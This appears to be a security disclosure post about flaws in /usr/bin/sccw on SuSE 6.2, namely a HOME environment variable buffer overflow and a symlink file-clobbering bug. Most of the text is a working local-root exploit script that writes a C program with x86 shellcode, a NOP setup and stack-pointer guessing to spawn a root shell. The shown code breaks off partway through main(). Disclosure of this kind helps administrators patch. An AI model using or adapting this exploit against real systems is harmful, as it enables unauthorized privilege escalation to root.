My last post regarding a sccw exploit simply allowed any user to read
any file on the system but, of course, didn't yield any instant root. A
much more serious problem now exists in the form of a HOME environment
variable buffer overflow. If you hadn't removed the s-bit before, now is
the time. In addition to this problem, a $HOME/.sccw symlink
vulnerability also exists, allowing any user to clobber any file on the
system.
Brock Tellier
UNIX Systems Administrator
Webley Systems
www.webley.com
--- sccw.sh ---
#!/bin/bash
#
# Linux x86 exploit for /usr/bin/sccw on SuSE 6.2
#
# -Brock Tellier btellier@webley.com
echo "Building /tmp/sccwx.c..."
cat > /tmp/sccwx.c << FOEFOE
/*
* sccw local root Linux x86 tested on SuSE 6.2
* gcc -o sccwx sccwx.c
* must compile/run a setuid(geteuid()); system("/bin/bash"); for a
rootshell
*
* -Brock Tellier btellier@webley.com
*/
#include <stdlib.h>
#include <stdio.h>
char exec[]= /* Generic Linux x86 running our /tmp program */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/sc";
#define LEN 400
#define NOP 0x90
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
void main(int argc, char *argv[]) {
int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];